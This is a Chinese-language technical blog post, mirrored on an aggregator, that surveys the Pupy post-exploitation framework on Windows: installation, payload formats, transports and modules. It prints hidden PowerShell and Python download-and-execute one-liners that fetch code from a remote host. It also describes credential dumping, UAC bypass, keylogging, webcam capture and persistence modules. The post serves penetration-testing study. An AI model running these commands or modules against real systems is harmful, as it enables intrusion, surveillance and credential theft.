36

Pupy利用分析——Windows平台下的功能

 4 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/Pupy%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90-Windows%E5%B9%B3%E5%8F%B0%E4%B8%8B%E7%9A%84%E5%8A%9F%E8%83%BD/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


Pupy是使用Python开发的跨平台远程管理和后期开发工具,支持很多实用的功能。

本文将要对Pupy在Windows平台的启动文件类型、连接方式和通信协议进行介绍,将其中的后渗透模块进行分类,逐个介绍功能

0x01 简介


本文将要介绍以下内容:

  • 支持的启动文件类型
  • 支持的连接方式
  • 支持的通信协议
  • 后渗透模块介绍

0x02 安装方法


1. 使用docker

说明文档:

https://github.com/n1nj4sec/pupy/wiki/Installation

2.直接安装

git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyws
pupyws/bin/pupysh

注:

使用-DG参数将从https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz下载模板文件

0x03 支持的启动文件类型


启动pupy后,输入gen -h获得生成启动文件的说明,如下图

Alt text

这里逐个进行介绍

1.client

生成exe格式的文件

生成64位exe文件的命令示例:

gen -f client -A x64

这个命令将从pupy/pupy/payload_templates/读取模板文件,添加配置信息后生成最终的exe文件

注:

上述命令对应的模板文件名称为pupyx64.exe,模板文件对应的下载链接:https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz

生成一个完全打包的Python文件(所有依赖项都从内存打包并执行)

命令示例:

gen -f py

这个命令会生成一个Python文件,内容的格式如下:

import zlib,marshal;exec marshal.loads(zlib.decompress('xxxxxxxxx')

其中'xxxxxxxxx'为加密的内容

加密的方法大致为使用marshal.dumps对代码进行序列化,再加上偏移、异或等操作,具体加密算法可参考:

https://github.com/n1nj4sec/pupy/blob/5b9529a0ea07bb4246a57bfb1c1129010c948931/pupy/pupylib/utils/obfuscate.py#L9

如果想要取消加密过程并获得源文件,可以加上--debug参数,示例如下:

gen -f py --debug

对应代码位置:https://github.com/n1nj4sec/pupy/blob/5b9529a0ea07bb4246a57bfb1c1129010c948931/pupy/pupylib/payloads/py_oneliner.py#L43

代码判断逻辑如下:

if debug:
    return payload
return compress_encode_obfs(payload, main=True)

如果要在Windows系统的Python环境下运行这个Python文件,Windows系统还需要安装以下模块:

  • pywin32
  • pycryptodome
  • Crypto

注:

Crypto包需要从http://www.voidspace.org.uk/python/modules.shtml#pycrypto 处下载

3.pyinst

生成与pyinstaller兼容的Python文件

命令示例:

gen -f pyinst

gen -f py的区别:添加了一些头文件,便于使用pyinstaller将Python脚本转换成exe文件

在之前的文章《本地密码查看工具LaZagne中的自定义脚本开发》介绍过pyinstaller的用法

4.py_oneliner

通过urllib库从服务器下载Python代码并执行

命令示例:

gen -f py_oneliner

在命令行输出下载执行的代码,示例:

python -c 'import urllib;exec urllib.urlopen("http://192.168.1.1:9000/a0py9Yz5pi/Sg11A11q2J").read()'

5.ps1

生成powershell格式的启动代码,执行时会先启动Powershell进程,然后在Powershell进程中加载dll

生成32位文件的命令示例:

gen -f ps1

这个命令将从pupy/pupy/payload_templates/读取dll的模板文件,添加配置信息和经过混淆的Invoke-ReflectivePEInjection代码,最终实现在Powershell进程中加载dll

注:

上述命令对应的模板文件名称为pupyx86.dll

6.ps1_oneliner

通过IEX(New-Object Net.WebClient).DownloadString从服务器下载powershell代码并执行

命令示例:

gen -f ps1_oneliner

在命令行输出下载执行的代码,示例:

powershell.exe -w hidden -noni -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.1:9000/DfsP5d2GPG/xDrhpNdNTU');"

在命令行输出执行base64编码的代码,示例:

powershell.exe -w hidden -noni -nop -enc xxxxxxxxxxxxxxxxxxxx

7.rubber_ducky

生成一个Rubber Ducky脚本和inject.bin文件

命令示例:

gen -f rubber_ducky

8.csharp

生成C#文件(.cs格式)

命令示例:

gen -f csharp

这个命令将从pupy/pupy/payload_templates/读取dll格式的模板文件,添加配置信息,使用Casey Smith的PELoader从内存加载PE文件

注:

上述命令对应的模板文件名称为pupyx86.dll

C#文件的编译和使用方法可参考之前的文章《通过.NET实现内存加载PE文件》

9..NET

生成C#文件(.cs格式)并通过mono编译,最终生成exe格式的文件

命令示例:

gen -f .NET

注:

需要安装mono开发环境,kali安装命令为apt-get install mono-mcs

关于mono的使用可以参考之前的文章《通过Mono(跨平台.NET运行环境)执行shellcode》

这个命令是在gen -f csharp的基础上,添加了使用mono编译的功能

10..NET_oneliner

通过powershell从内存加载.NET程序集

命令示例:

gen -f .NET_oneliner

在命令行输出Powershell代码,示例:

powershell -w hidden -enc "xxxxxxxxxxxxxx"

这个命令是在gen -f .NET的基础上,添加了通过powershell从内存加载.NET程序集的功能

powershell从内存加载.NET程序集的实现代码如下:

[Reflection.Assembly]::Load(""(new-object net.webclient).DownloadData(""'http://{link_ip}:{port}{landing_uri}')).GetTypes()[0].GetMethods("")[0].Invoke($null,@())"

之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》分析过从内存加载.NET程序集的方法

补充:额外的参数

对于生成的启动文件,还支持以下参数:

  • 是否使用系统代理
  • 设置连接次数和间隔时间
  • 设置启动前执行的Python脚本

0x04 支持的连接方式


支持以下四种:

  • bind,绑定端口,作为正向连接使用
  • auto_proxy,检索可能的SOCKS/HTTP代理列表并使用,检索方法包括:注册表,WPAD请求,gnome设置,环境变量HTTP_PROXY
  • dnscnc,dns协议?(这个功能暂时无法测试)
  • connect,默认方式,反向连接到服务器

0x05 支持的通信协议


可通过命令gen -l获得列表

说明文档:

https://github.com/n1nj4sec/pupy/wiki/Get-Started#transport

目前支持以下类别:

  • obfs3
  • tcp_cleartext
  • udp_secure
  • scramblesuit
  • udp_cleartext
  • ssl_rsa

以上类别的通信协议可以进行自定义,修改位置:pupy/pupy/network/transports/<transport_name>/conf.py

0x06 后渗透模块介绍


常用命令:

设置监听端口:listen -a ssl 8443

查看会话:sessions

切换会话:sessions -i <id>

结束会话:sessions -k <id>

用法实例如下图

Alt text

获得session后输入help -M可以显示支持的后渗透模块,这里将其中的后渗透模块进行分类,逐个介绍功能

(1)使用beroot获得可用来提权的信息,模块:beroot

源码地址:https://github.com/AlessandroZ/BeRoot

(2)使用WinPwnage尝试提权,模块:bypassuac

源码地址:https://github.com/rootm0s/WinPwnage

(3)切换至system权限,模块:getsystem

(4)使用WindowsPowerShell ADIDNS/LLMNR/mDNS/NBNS欺骗者/中间人工具Inveigh,模块:inveigh

源码地址:https://github.com/Kevin-Robertson/Inveigh

(1)列出/模拟进程token,模块:impersonate

关于token的利用方法可以参考之前的文章《渗透技巧——Token窃取与利用》

(2)获得当前权限,模块:getprivs

关于权限的利用方法可以参考之前的文章《渗透技巧——Windows Token九种权限的利用》

(3)获得当前进程的父进程,模块:getppid

通过父进程进行权限切换可以参考之前的文章《渗透技巧——从Admin权限切换到System权限》

3.凭据获取

(1)使用Lazagne获取凭据,模块:lazagne

源码地址:https://github.com/AlessandroZ/LaZagne/

之前的文章《本地密码查看工具LaZagne中的自定义脚本开发》曾介绍过LaZagne

(2)从注册表导出本地用户hash,模块:creddump

相关细节可以参考之前的文章《渗透技巧——通过SAM数据库获得本地用户hash》

(3)监控内存并查找明文凭据,模块:loot_memory

开启后会持续监控内存

(4)从进程内存dump可打印的字符串以供进一步分析,模块:memstrings

可以针对指定进程,输出的格式为文本文件

4.网络相关

(1)通过HTTP协议发送Get/Post请求,模块:http

(2)TCP端口扫描,模块:port_scan

(3)端口转发和socks代理,模块:forward

(4)抓包,模块:tcpdump

(5)UPnP操作,模块:igd

(6)从服务器获得证书,模块:x509

5.屏幕控制

(1)通过浏览器控制目标屏幕的模块:rdesktop

加载后,通过浏览器能够控制目标的屏幕,如下图

Alt text

不仅能够查看屏幕内容,也能够发送鼠标和键盘消息

注:

这里不使用远程桌面协议(RDP)

(2)使用远程桌面协议(RDP),模块:rdp

可以用来开启或关闭远程桌面连接,还支持用来验证远程主机的凭据

(1)键盘和剪贴板记录,模块:keylogger

(2)记录鼠标点击并截图周围区域,模块:mouselogger

(3)截图,模块:screenshot

(4)麦克风录音,模块:record_mic

(5)摄像头拍照,模块:webcamsnap

7.获得系统信息

(1)查看日志,模块:logs

不同类型对应不同的颜色,如下图

Alt text

(2)注册表,模块:reg

包括查询、增加、删除、修改、搜索操作

不同类型对应不同的颜色,如下图

Alt text

(3)列出本地和远程共享文件夹及权限,模块:shares

(4)查看当前登录用户,模块:w

(5)获取服务信息,模块:services

(6)获取时间,模块:date

(7)检索EC2/DigitalOcean元数据,模块:cloudinfo

(8)查看和修改环境变量,模块:env

(9)虚拟机检测,模块:check_vm

支持识别以下虚拟机:

  • Hyper-V
  • VMWare
  • Virtual PC
  • Virtual Box
  • Xen Machine
  • Qemu machine

识别方法:查询注册表

8.执行Python命令

(1)执行单条命令,模块:pyexec

命令示例:

pyexec -c "import platform;print platform.uname()"

(2)在交互式shell中执行Python命令,模块:pyshell

命令示例:

pyshell
import platform
print platform.uname()

(3)加载Python包,模块:load_package

9.执行cmd命令

(1)通过subprocess执行cmd命令,模块:shell_exec

命令示例:

shell_exec whoami

(2)在线程上执行的简单popen调用(速度慢但更安全),模块:pexec

命令示例:

pexec whoami

(3)交互式shell,模块:interactive_shell

修改自winpty

(4)执行shellcode,模块:shellcode_exec

(5)内存执行文件,模块:memory_exec

10.远程执行cmd命令

使用smbexec/wmiexec实现远程执行命令,模块:psexec

支持使用hash

11.维持权限

(1)持久化,模块:persistence

更多方式可参考:https://github.com/3gstudent/Pentest-and-Development-Tips#tips-30-windows-persistence

(2)复制当前Session,模块:duplicate

(3)迁移进程,模块:migrate

12.mimikatz

(1)内存加载mimikatz,执行单条命令,模块:mimikatz

(2)内存加载mimikatz,交互式,模块:mimishell

13.powerview

(1)直接调用,模块:powerview

(2)使用Python重写,模块:pywerview

14.文件操作

(1)上传,模块:upload

(2)下载,模块:download

(3)查看文件或文件夹的属性,模块:stat

(4)编辑文件,模块:edit

(5)写入文件,模块:write

(6)使用Windows Search Index搜索文件,模块:isearch

(7)搜索指定目录下所有文件中的字符,模块:search

(8)通过SMB协议访问文件共享,模块:smb

(9)连接远程共享目录并搜索文件,模块:smbspider

15.ssh客户端

(1)连接远程ssh服务器并执行命令,模块:ssh

(2)连接远程ssh服务器获得完整交互式会话,模块:sshell

16.outlook

与目标用户的Outlook会话交互,模块:outlook

17.压缩与解压缩

zip压缩与解压缩,模块:zip

18.锁屏

模块:lock_screen

19.查看回连Session的信息

(1)获得所有Session的网络信息,模块:netstat

(2)获得当前Session的信息,模块:get_info

(3)查看已获得的凭据信息,命令:creds

(4)查看server的配置信息,命令:config

0x07 小结


本文介绍了Pupy在Windows平台下的启动文件类型、连接方式和通信协议,将其中的后渗透模块进行分类,逐个介绍功能。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK